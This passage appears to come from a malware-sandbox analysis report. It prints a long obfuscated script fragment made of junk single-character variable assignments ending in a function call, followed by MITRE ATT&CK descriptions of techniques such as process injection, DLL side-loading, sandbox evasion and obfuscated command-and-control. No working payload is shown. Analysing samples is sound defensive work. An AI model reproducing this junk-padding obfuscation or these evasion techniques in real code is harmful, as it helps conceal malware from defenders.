507	ggyzla = "p";
508	ggyzla = "k";
509	ggyzla = "Q";
510	ggyzla = "U";
511	ggyzla = "P";
512	jpbvdx = "E";
513	jpbvdx = "s";
514	jpbvdx = "K";
515	jpbvdx = "m";
516	jpbvdx = "E";
517	jpbvdx = "n";
518	jpbvdx = "P";
519	jpbvdx = "p";
520	jpbvdx = "Q";
521	jpbvdx = "O";
522	jpbvdx = "a";
523	jpbvdx = "Q";
524	jpbvdx = "u";
525	jpbvdx = "f";
526	jpbvdx = "B";
527	jpbvdx = "R";
528	jpbvdx = "r";
529	jpbvdx = "m";
530	jpbvdx = "P";
531	jpbvdx = "O";
532	jpbvdx = "e";
533	jpbvdx = "q";
534	jpbvdx = "S";
535	jpbvdx = "E";
536	jpbvdx = "a";
537	jpbvdx = "H";
538	jpbvdx = "U";
539	jpbvdx = "F";
540	jpbvdx = "p";
541	jpbvdx = "G";
542	jpbvdx = "C";
543	jpbvdx = "d";
544	jpbvdx = "z";
545	jpbvdx = "W";
546	jpbvdx = "d";
547	jpbvdx = "z";
548	jpbvdx = "c";
549	jpbvdx = "A";
550	jpbvdx = "y";
551	jpbvdx = "m";
552	jpbvdx = "e";
553	jpbvdx = "F";
554	iqquecfdj = "P";
555	iqquecfdj = "S";
556	iqquecfdj = "m";
557	iqquecfdj = "P";
558	iqquecfdj = "R";
559	iqquecfdj = "l";
560	iqquecfdj = "q";
561	iqquecfdj = "c";
562	iqquecfdj = "O";
563	iqquecfdj = "S";
564	iqquecfdj = "s";
565	iqquecfdj = "B";
566	iqquecfdj = "Y";
567	iqquecfdj = "f";
568	iqquecfdj = "a";
569	iqquecfdj = "F";
570	iqquecfdj = "Y";
571	iqquecfdj = "f";
572	iqquecfdj = "x";
573	iqquecfdj = "j";
574	iqquecfdj = "R";
575	iqquecfdj = "J";
576	iqquecfdj = "X";
577	iqquecfdj = "l";
578	iqquecfdj = "U";
579	iqquecfdj = "L";
580	iqquecfdj = "H";
581	iqquecfdj = "C";
582	iqquecfdj = "T";
583	iqquecfdj = "W";
584	iqquecfdj = "G";
585	iqquecfdj = "M";
586	iqquecfdj = "a";
587	iqquecfdj = "Y";
588	iqquecfdj = "t";
589	iqquecfdj = "F";
590	iqquecfdj = "b";
591	aieak = "o";
592	aieak = "Y";
593	aieak = "D";
594	aieak = "O";
595	aieak = "N";
596	aieak = "X";
597	aieak = "C";
598	aieak = "r";
599	aieak = "A";
600	aieak = "Y";
601	aieak = "L";
602	aieak = "Q";
603	aieak = "u";
604	aieak = "T";
605	aieak = "M";
606	aieak = "l";
607	aieak = "g";
608	aieak = "z";
609	aieak = "g";
610	aieak = "F";
611	aieak = "u";
612	aieak = "d";
613	aieak = "V";
614	aieak = "y";
615	aieak = "i";
616	aieak = "e";
617	aieak = "j";
618	aieak = "Y";
619	aieak = "l";
620	snqtvzlwj = "O";
621	snqtvzlwj = "X";
622	snqtvzlwj = "e";
623	snqtvzlwj = "H";
624	snqtvzlwj = "g";
625	snqtvzlwj = "q";
626	snqtvzlwj = "G";
627	snqtvzlwj = "q";
628	snqtvzlwj = "d";
629	snqtvzlwj = "A";
630	snqtvzlwj = "a";
631	snqtvzlwj = "q";
632	snqtvzlwj = "y";
633	snqtvzlwj = "y";
634	snqtvzlwj = "F";
635	snqtvzlwj = "M";
636	snqtvzlwj = "g";
637	snqtvzlwj = "Q";
638	snqtvzlwj = "V";
639	snqtvzlwj = "x";
640	snqtvzlwj = "E";
641	snqtvzlwj = "V";
642	snqtvzlwj = "i";
643	snqtvzlwj = "B";
644	snqtvzlwj = "i";
645	snqtvzlwj = "Y";
646	snqtvzlwj = "Q";
647	snqtvzlwj = "s";
648	snqtvzlwj = "c";
649	snqtvzlwj = "d";
650	snqtvzlwj = "q";
651	snqtvzlwj = "V";
652	snqtvzlwj = "M";
653	snqtvzlwj = "I";
654	snqtvzlwj = "N";
655	snqtvzlwj = "W";
656	snqtvzlwj = "g";
657	snqtvzlwj = "o";
658	snqtvzlwj = "Q";
659	snqtvzlwj = "i";
660	snqtvzlwj = "K";
661	snqtvzlwj = "n";
662	snqtvzlwj = "r";
663	ktphou = "h";
664	ktphou = "G";
665	ktphou = "-";
666	dtjunmxl = "d";
667	dtjunmxl = "e";
668	dtjunmxl = "z";
669	dtjunmxl = "i";
670	dtjunmxl = "K";
671	dtjunmxl = "J";
672	dtjunmxl = "g";
673	dtjunmxl = "z";
674	dtjunmxl = "M";
675	dtjunmxl = "O";
676	iznxnl = "Q";
677	iznxnl = "W";
678	idyfq = "D";
679	idyfq = "L";
680	idyfq = "o";
681	idyfq = "B";
682	idyfq = "c";
683	idyfq = "Y";
684	idyfq = "e";
685	idyfq = "S";
686	idyfq = "Y";
687	idyfq = "H";
688	idyfq = "T";
689	idyfq = "Q";
690	idyfq = "\"";
691	dxbrdjh = "h";
692	dxbrdjh = "c";
693	dxbrdjh = "M";
694	dxbrdjh = "R";
695	dxbrdjh = "w";
696	dxbrdjh = "N";
697	dxbrdjh = "R";
698	dxbrdjh = "U";
699	dxbrdjh = "B";
700	dxbrdjh = "e";
701	dxbrdjh = "V";
702	dxbrdjh = "X";
703	dxbrdjh = "O";
704	dxbrdjh = "l";
705	dxbrdjh = "U";
706	dxbrdjh = "M";
707	dxbrdjh = "o";
708	dxbrdjh = "m";
709	dxbrdjh = "w";
710	dxbrdjh = "j";
711	dxbrdjh = "F";
712	dxbrdjh = "P";
713	dxbrdjh = "Q";
714	dxbrdjh = "u";
715	dxbrdjh = "w";
716	dxbrdjh = "E";
717	dxbrdjh = "D";
718	dxbrdjh = "t";
719	dxbrdjh = "x";
720	dxbrdjh = "x";
721	dxbrdjh = "T";
722	dxbrdjh = "a";
723	dxbrdjh = "V";
724	dxbrdjh = "Z";
725	dxbrdjh = "p";
726	dxbrdjh = "X";
727	dxbrdjh = "7";
728	dndfvyt = "f";
729	dndfvyt = "u";
730	dndfvyt = "I";
731	dndfvyt = "x";
732	dndfvyt = "D";
733	dndfvyt = "w";
734	dndfvyt = "k";
735	dndfvyt = "Q";
736	dndfvyt = "W";
737	dndfvyt = "C";
738	dndfvyt = "K";
739	dndfvyt = "k";
740	dndfvyt = "j";
741	dndfvyt = "S";
742	dndfvyt = "D";
743	dndfvyt = "w";
744	dndfvyt = "Q";
745	dndfvyt = "K";
746	dndfvyt = "K";
747	dndfvyt = "K";
748	dndfvyt = "H";
749	dndfvyt = "W";
750	dndfvyt = "q";
751	dndfvyt = "k";
752	dndfvyt = "z";
753	dndfvyt = "S";
754	dndfvyt = "j";
755	dndfvyt = "c";
756	dndfvyt = "Z";
757	dndfvyt = "Y";
758	dndfvyt = "h";
759	dndfvyt = "N";
760	dndfvyt = "Y";
761	dndfvyt = "Q";
762	dndfvyt = "i";
763	dndfvyt = "C";
764	dndfvyt = "P";
765	dndfvyt = "D";
766	dndfvyt = "N";
767	pzkpns = "X";
768	pzkpns = "D";
769	pzkpns = "c";
770	pzkpns = "T";
771	pzkpns = "H";
772	pzkpns = "M";
773	pzkpns = "e";
774	pzkpns = "p";
775	pzkpns = "2";
776	mgibqupx = "o";
777	mgibqupx = "I";
778	mgibqupx = "R";
779	mgibqupx = "a";
780	mgibqupx = "u";
781	mgibqupx = "J";
782	mgibqupx = "a";
783	mgibqupx = "b";
784	mgibqupx = "c";
785	mgibqupx = "Q";
786	mgibqupx = "X";
787	mgibqupx = "q";
788	mgibqupx = "U";
789	mgibqupx = "D";
790	mgibqupx = "a";
791	mgibqupx = "t";
792	mgibqupx = "e";
793	mgibqupx = "T";
794	mgibqupx = "g";
795	mgibqupx = "l";
796	mgibqupx = "h";
797	mgibqupx = "y";
798	mgibqupx = "t";
799	mgibqupx = "V";
800	mgibqupx = "y";
801	mgibqupx = "i";
802	mgibqupx = "h";
803	mgibqupx = "r";
804	mgibqupx = "9";
805	mlvgmkgsu = "h";
806	mlvgmkgsu = "S";
807	mlvgmkgsu = "f";
808	mlvgmkgsu = "I";
809	mlvgmkgsu = "d";
810	mlvgmkgsu = "N";
811	mlvgmkgsu = "v";
812	mlvgmkgsu = "q";
813	mlvgmkgsu = "j";
814	mlvgmkgsu = "3";
815	isgbb = "F";
816	isgbb = "Q";
817	isgbb = "x";
818	isgbb = "S";
819	isgbb = "O";
820	isgbb = "P";
821	isgbb = "J";
822	isgbb = "T";
823	isgbb = "I";
824	isgbb = "r";
825	isgbb = "m";
826	isgbb = "n";
827	isgbb = "n";
828	isgbb = "P";
829	isgbb = "w";
830	isgbb = "R";
831	isgbb = "D";
832	isgbb = "i";
833	isgbb = "b";
834	isgbb = "G";
835	isgbb = "p";
836	isgbb = "n";
837	isgbb = "B";
838	isgbb = ":";
839	kwbwuncx = "U";
840	kwbwuncx = "H";
841	kwbwuncx = "P";
842	kwbwuncx = "F";
843	kwbwuncx = "t";
844	kwbwuncx = "a";
845	kwbwuncx = "y";
846	kwbwuncx = "x";
847	kwbwuncx = "v";
848	kwbwuncx = "Y";
849	kwbwuncx = "m";
850	kwbwuncx = "l";
851	kwbwuncx = "p";
852	kwbwuncx = "X";
853	kwbwuncx = "t";
854	kwbwuncx = "a";
855	kwbwuncx = "w";
856	kwbwuncx = "c";
857	kwbwuncx = "F";
858	kwbwuncx = "R";
859	kwbwuncx = "P";
860	kwbwuncx = "e";
861	kwbwuncx = "o";
862	kwbwuncx = "U";
863	kwbwuncx = "Q";
864	kwbwuncx = "o";
865	kwbwuncx = "V";
866	kwbwuncx = "D";
867	kwbwuncx = "V";
868	kwbwuncx = "G";
869	kwbwuncx = "d";
870	kwbwuncx = "W";
871	kwbwuncx = "h";
872	iazzady = "n";
873	iazzady = "y";
874	iazzady = "A";
875	iazzady = "c";
876	iazzady = "l";
877	iazzady = "Z";
878	iazzady = "o";
879	iazzady = "m";
880	iazzady = "Y";
881	iazzady = "H";
882	iazzady = "H";
883	iazzady = "c";
884	iazzady = "f";
885	asxzbn = "A";
886	asxzbn = "Y";
887	asxzbn = "Y";
888	asxzbn = "o";
889	asxzbn = "K";
890	asxzbn = "g";
891	asxzbn = "f";
892	asxzbn = "a";
893	asxzbn = "l";
894	asxzbn = "l";
895	asxzbn = "s";
896	asxzbn = "b";
897	asxzbn = "T";
898	asxzbn = "c";
899	aksvfj = "F";
900	aksvfj = "M";
901	aksvfj = "p";
902	aksvfj = "E";
903	aksvfj = "n";
904	aksvfj = "k";
905	aksvfj = "a";
906	aksvfj = "f";
907	aksvfj = "o";
908	aksvfj = "h";
909	aksvfj = "W";
910	aksvfj = "Y";
911	aksvfj = "r";
912	aksvfj = "I";
913	aksvfj = "A";
914	aksvfj = "z";
915	aksvfj = "c";
916	aksvfj = "E";
917	aksvfj = "c";
918	aksvfj = "e";
919	aksvfj = "g";
920	aksvfj = "u";
921	aksvfj = "C";
922	aksvfj = "b";
923	aksvfj = "G";
924	aksvfj = "L";
925	aksvfj = "b";
926	aksvfj = "k";
927	aksvfj = "Y";
928	aksvfj = "E";
929	aksvfj = "i";
930	aksvfj = "Y";
931	aksvfj = "L";
932	aksvfj = "S";
933	aksvfj = "C";
934	itjlgmd = "M";
935	itjlgmd = "k";
936	itjlgmd = "v";
937	itjlgmd = "r";
938	itjlgmd = "K";
939	itjlgmd = "V";
940	itjlgmd = "u";
941	itjlgmd = "v";
942	itjlgmd = "g";
943	itjlgmd = "A";
944	itjlgmd = "r";
945	itjlgmd = "F";
946	itjlgmd = "y";
947	itjlgmd = "F";
948	itjlgmd = "j";
949	itjlgmd = "u";
950	itjlgmd = "M";
951	itjlgmd = "i";
952	svyux = "X";
953	svyux = "l";
954	svyux = "n";
955	svyux = "n";
956	svyux = "F";
957	svyux = "q";
958	svyux = "w";
959	svyux = "v";
960	svyux = "I";
961	svyux = "X";
962	svyux = "e";
963	svyux = "e";
964	svyux = "a";
965	svyux = "W";
966	svyux = "Q";
967	svyux = "L";
968	svyux = "g";
969	svyux = "R";
970	svyux = "H";
971	svyux = "u";
972	svyux = "a";
973	svyux = "p";
974	svyux = "Z";
975	svyux = "s";
976	svyux = "P";
977	svyux = "z";
978	svyux = "c";
979	svyux = "k";
980	svyux = "Q";
981	svyux = "o";
982	svyux = "n";
983	svyux = "w";
984	svyux = "W";
985	svyux = "U";
986	svyux = "i";
987	svyux = "I";
988	svyux = "I";
989	svyux = "z";
990	svyux = "b";
991	svyux = "X";
992	svyux = "t";
993	svyux = "K";
994	svyux = "u";
995	iieegbny = "I";
996	iieegbny = "H";
997	iieegbny = "n";
998	iieegbny = "E";
999	iieegbny = "W";
1000	iieegbny = "g";
1001	iieegbny = "v";
1002	wfiwym = "V";
1003	wfiwym = "Z";
1004	wfiwym = "c";
1005	wfiwym = "q";
1006	wfiwym = "d";
1007	wfiwym = "c";
1008	wfiwym = "T";
1009	wfiwym = "B";
1010	wfiwym = "u";
1011	wfiwym = "u";
1012	wfiwym = "S";
1013	wfiwym = "f";
1014	wfiwym = "R";
1015	wfiwym = "a";
1016	wfiwym = "J";
1017	wfiwym = "Z";
1018	wfiwym = "h";
1019	wfiwym = "j";
1020	wfiwym = "U";
1021	wfiwym = "y";
1022	wfiwym = "T";
1023	wfiwym = "c";
1024	wfiwym = "u";
1025	wfiwym = "k";
1026	wfiwym = "Y";
1027	wfiwym = "u";
1028	wfiwym = "n";
1029	wfiwym = "M";
1030	wfiwym = "S";
1031	wfiwym = "H";
1032	reyjkuia = "m";
1033	reyjkuia = "B";
1034	reyjkuia = "V";
1035	reyjkuia = "E";
1036	reyjkuia = "I";
1037	reyjkuia = "o";
1038	reyjkuia = "1";
1039	cceol = "O";
1040	cceol = "Z";
1041	cceol = "r";
1042	cceol = "Q";
1043	cceol = "M";
1044	cceol = "S";
1045	cceol = "B";
1046	cceol = "l";
1047	cceol = "X";
1048	cceol = "Y";
1049	cceol = "v";
1050	cceol = "C";
1051	cceol = "J";
1052	cceol = "Q";
1053	cceol = "K";
1054	cceol = "h";
1055	cceol = "W";
1056	cceol = "R";
1057	cceol = "L";
1058	cceol = "o";
1059	cceol = "B";
1060	cceol = "p";
1061	fpgxtgd = "f";
1062	fpgxtgd = "P";
1063	fpgxtgd = "q";
1064	fpgxtgd = "B";
1065	fpgxtgd = "U";
1066	fpgxtgd = "\\";
1067	bjdjzlqx = "j";
1068	bjdjzlqx = "P";
1069	bjdjzlqx = "Z";
1070	bjdjzlqx = "E";
1071	bjdjzlqx = "e";
1072	bjdjzlqx = "j";
1073	bjdjzlqx = "u";
1074	bjdjzlqx = "K";
1075	bjdjzlqx = "p";
1076	bjdjzlqx = "H";
1077	bjdjzlqx = "J";
1078	bjdjzlqx = "V";
1079	bjdjzlqx = "J";
1080	bjdjzlqx = "g";
1081	bjdjzlqx = "H";
1082	bjdjzlqx = "P";
1083	bjdjzlqx = "x";
1084	bjdjzlqx = "w";
1085	bjdjzlqx = "v";
1086	bjdjzlqx = "w";
1087	bjdjzlqx = "k";
1088	bjdjzlqx = "M";
1089	bjdjzlqx = "C";
1090	bjdjzlqx = "U";
1091	bjdjzlqx = "f";
1092	bjdjzlqx = "b";
1093	bjdjzlqx = "G";
1094	bjdjzlqx = "S";
1095	fmeojo = "W";
1096	fmeojo = "X";
1097	fmeojo = "A";
1098	fmeojo = "J";
1099	fmeojo = "o";
1100	fmeojo = "k";
1101	fmeojo = "W";
1102	fmeojo = "P";
1103	fmeojo = "N";
1104	fmeojo = "x";
1105	fmeojo = "m";
1106	fmeojo = "C";
1107	fmeojo = "z";
1108	fmeojo = "E";
1109	fmeojo = "u";
1110	fmeojo = "c";
1111	fmeojo = "j";
1112	fmeojo = "x";
1113	fmeojo = "N";
1114	fmeojo = "I";
1115	fmeojo = "v";
1116	fmeojo = "A";
1117	fmeojo = "r";
1118	fmeojo = "R";
1119	fmeojo = "I";
1120	fmeojo = "f";
1121	fmeojo = "R";
1122	fmeojo = "X";
1123	fmeojo = "x";
1124	fmeojo = "E";
1125	hilbw = "/";
1126	ubwlubg = "f";
1127	ubwlubg = "I";
1128	ubwlubg = "b";
1129	ubwlubg = "d";
1130	ubwlubg = "Z";
1131	ubwlubg = "U";
1132	ubwlubg = "D";
1133	ubwlubg = "O";
1134	ubwlubg = "b";
1135	ubwlubg = "d";
1136	ubwlubg = "U";
1137	ubwlubg = "o";
1138	ubwlubg = "v";
1139	ubwlubg = "o";
1140	ubwlubg = "k";
1141	ubwlubg = "L";
1142	pyasy = "u";
1143	pyasy = "o";
1144	pyasy = "R";
1145	pyasy = "r";
1146	pyasy = "k";
1147	pyasy = "V";
1148	pyasy = "Y";
1149	pyasy = "X";
1150	pyasy = "b";
1151	pyasy = "f";
1152	pyasy = "v";
1153	pyasy = "F";
1154	pyasy = "q";
1155	pyasy = "t";
1156	pyasy = "s";
1157	pyasy = "H";
1158	pyasy = "r";
1159	pyasy = "t";
1160	pyasy = "D";
1161	pyasy = "d";
1162	pyasy = "R";
1163	pyasy = "Z";
1164	pyasy = "h";
1165	pyasy = "n";
1166	pyasy = "E";
1167	pyasy = "H";
1168	pyasy = "M";
1169	pyasy = "D";
1170	pyasy = "k";
1171	pyasy = "E";
1172	pyasy = "H";
1173	pyasy = "V";
1174	pyasy = "x";
1175	pyasy = "e";
1176	pyasy = "a";
1177	pmyvrwio = "u";
1178	pmyvrwio = "G";
1179	pmyvrwio = "c";
1180	pmyvrwio = "q";
1181	pmyvrwio = "f";
1182	pmyvrwio = "j";
1183	pmyvrwio = "s";
1184	pmyvrwio = "R";
1185	pmyvrwio = "X";
1186	pmyvrwio = "Y";
1187	pmyvrwio = "U";
1188	pmyvrwio = "G";
1189	pmyvrwio = "J";
1190	pmyvrwio = "Q";
1191	pmyvrwio = "r";
1192	pmyvrwio = "S";
1193	pmyvrwio = ".";
1194	whouitet = "C";
1195	whouitet = "E";
1196	whouitet = "j";
1197	whouitet = "o";
1198	whouitet = "R";
1199	whouitet = "N";
1200	whouitet = "z";
1201	whouitet = "h";
1202	whouitet = "D";
1203	whouitet = "U";
1204	zphzkqrt = "L";
1205	zphzkqrt = "T";
1206	zphzkqrt = "D";
1207	zphzkqrt = "U";
1208	zphzkqrt = "p";
1209	zphzkqrt = "S";
1210	zphzkqrt = "m";
1211	zphzkqrt = "x";
1212	zphzkqrt = "v";
1213	zphzkqrt = "p";
1214	zphzkqrt = "e";
1215	zphzkqrt = "z";
1216	zphzkqrt = "n";
1217	zphzkqrt = "e";
1218	zphzkqrt = "X";
1219	zphzkqrt = "l";
1220	zphzkqrt = "d";
1221	zphzkqrt = "a";
1222	zphzkqrt = "y";
1223	zphzkqrt = "S";
1224	zphzkqrt = "f";
1225	zphzkqrt = "G";
1226	zphzkqrt = "T";
1227	zphzkqrt = "A";
1228	zphzkqrt = "J";
1229	zphzkqrt = "T";
1230	zphzkqrt = "l";
1231	zphzkqrt = "q";
1232	zphzkqrt = "e";
1233	zphzkqrt = "g";
1234	zphzkqrt = "W";
1235	zphzkqrt = "c";
1236	zphzkqrt = "K";
1237	faeqq = "I";
1238	faeqq = "E";
1239	faeqq = "W";
1240	faeqq = "d";
1241	faeqq = "x";
1242	faeqq = "d";
1243	faeqq = "k";
1244	faeqq = "s";
1245	faeqq = "Z";
1246	faeqq = "l";
1247	faeqq = "K";
1248	faeqq = "i";
1249	faeqq = "N";
1250	faeqq = "I";
1251	faeqq = "l";
1252	faeqq = "o";
1253	faeqq = "H";
1254	faeqq = "L";
1255	faeqq = "Y";
1256	uvomnlw = "Y";
1257	uvomnlw = "S";
1258	uvomnlw = "w";
1259	uvomnlw = "L";
1260	uvomnlw = "t";
1261	uvomnlw = "h";
1262	uvomnlw = "i";
1263	uvomnlw = "Q";
1264	uvomnlw = "k";
1265	uvomnlw = "y";
1266	uvomnlw = "d";
1267	uvomnlw = "q";
1268	uvomnlw = "A";
1269	uvomnlw = "C";
1270	uvomnlw = "V";
1271	uvomnlw = "q";
1272	uvomnlw = "B";
1273	uvomnlw = "v";
1274	uvomnlw = "x";
1275	uvomnlw = "C";
1276	uvomnlw = "N";
1277	uvomnlw = "s";
1278	uvomnlw = "f";
1279	uvomnlw = "N";
1280	uvomnlw = "l";
1281	uvomnlw = "@";
1282	kyjld = "p";
1283	kyjld = "s";
1284	kyjld = "v";
1285	kyjld = "Z";
1286	kyjld = "I";
1287	kyjld = "v";
1288	kyjld = "W";
1289	kyjld = "y";
1290	kyjld = "d";
1291	kyjld = "r";
1292	kyjld = "s";
1293	kyjld = "W";
1294	kyjld = "R";
1295	kyjld = "r";
1296	kyjld = "f";
1297	kyjld = "W";
1298	kyjld = "q";
1299	kyjld = "j";
1300	kyjld = "R";
1301	kyjld = "Y";
1302	kyjld = "k";
1303	kyjld = "P";
1304	kyjld = "W";
1305	kyjld = "H";
1306	kyjld = "P";
1307	kyjld = "F";
1308	kyjld = "o";
1309	kyjld = "I";
1310	kyjld = "M";
1311	kyjld = "s";
1312	aewmvacb = "k";
1313	aewmvacb = "A";
1314	aewmvacb = "R";
1315	aewmvacb = "J";
1316	aewmvacb = "B";
1317	aewmvacb = "U";
1318	aewmvacb = "T";
1319	aewmvacb = "w";
1320	aewmvacb = "c";
1321	aewmvacb = "n";
1322	aewmvacb = "e";
1323	aewmvacb = "D";
1324	aewmvacb = "W";
1325	aewmvacb = "v";
1326	aewmvacb = "D";
1327	aewmvacb = "b";
1328	aewmvacb = "J";
1329	aewmvacb = "G";
1330	aewmvacb = "l";
1331	aewmvacb = "Q";
1332	aewmvacb = "u";
1333	aewmvacb = "U";
1334	aewmvacb = "W";
1335	aewmvacb = "G";
1336	aewmvacb = "B";
1337	aewmvacb = "i";
1338	aewmvacb = "E";
1339	aewmvacb = "r";
1340	aewmvacb = "k";
1341	aewmvacb = "p";
1342	aewmvacb = "e";
1343	lfqun = "Q";
1344	lfqun = "G";
1345	lfqun = "h";
1346	lfqun = "q";
1347	lfqun = "h";
1348	lfqun = "P";
1349	lfqun = "j";
1350	lfqun = "L";
1351	lfqun = "i";
1352	lfqun = "P";
1353	lfqun = "r";
1354	lfqun = "j";
1355	lfqun = "G";
1356	lfqun = "f";
1357	lfqun = "E";
1358	lfqun = "V";
1359	lfqun = "S";
1360	lfqun = "g";
1361	lfqun = "J";
1362	lfqun = "f";
1363	lfqun = "L";
1364	lfqun = "h";
1365	lfqun = "I";
1366	yueveji = "n";
1367	yueveji = "n";
1368	yueveji = "i";
1369	yueveji = "o";
1370	yueveji = "m";
1371	yueveji = "s";
1372	yueveji = "K";
1373	yueveji = "a";
1374	yueveji = "S";
1375	yueveji = "g";
1376	yueveji = "M";
1377	yueveji = "r";
1378	yueveji = "w";
1379	yueveji = "c";
1380	yueveji = "B";
1381	yueveji = "y";
1382	yueveji = "V";
1383	yueveji = "n";
1384	yueveji = "a";
1385	yueveji = "U";
1386	yueveji = "i";
1387	yueveji = "H";
1388	yueveji = "b";
1389	yueveji = "B";
1390	yueveji = "a";
1391	yueveji = "K";
1392	yueveji = "j";
1393	yueveji = "u";
1394	yueveji = "H";
1395	yueveji = "4";
1396	itjivh ( );	itjivh() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
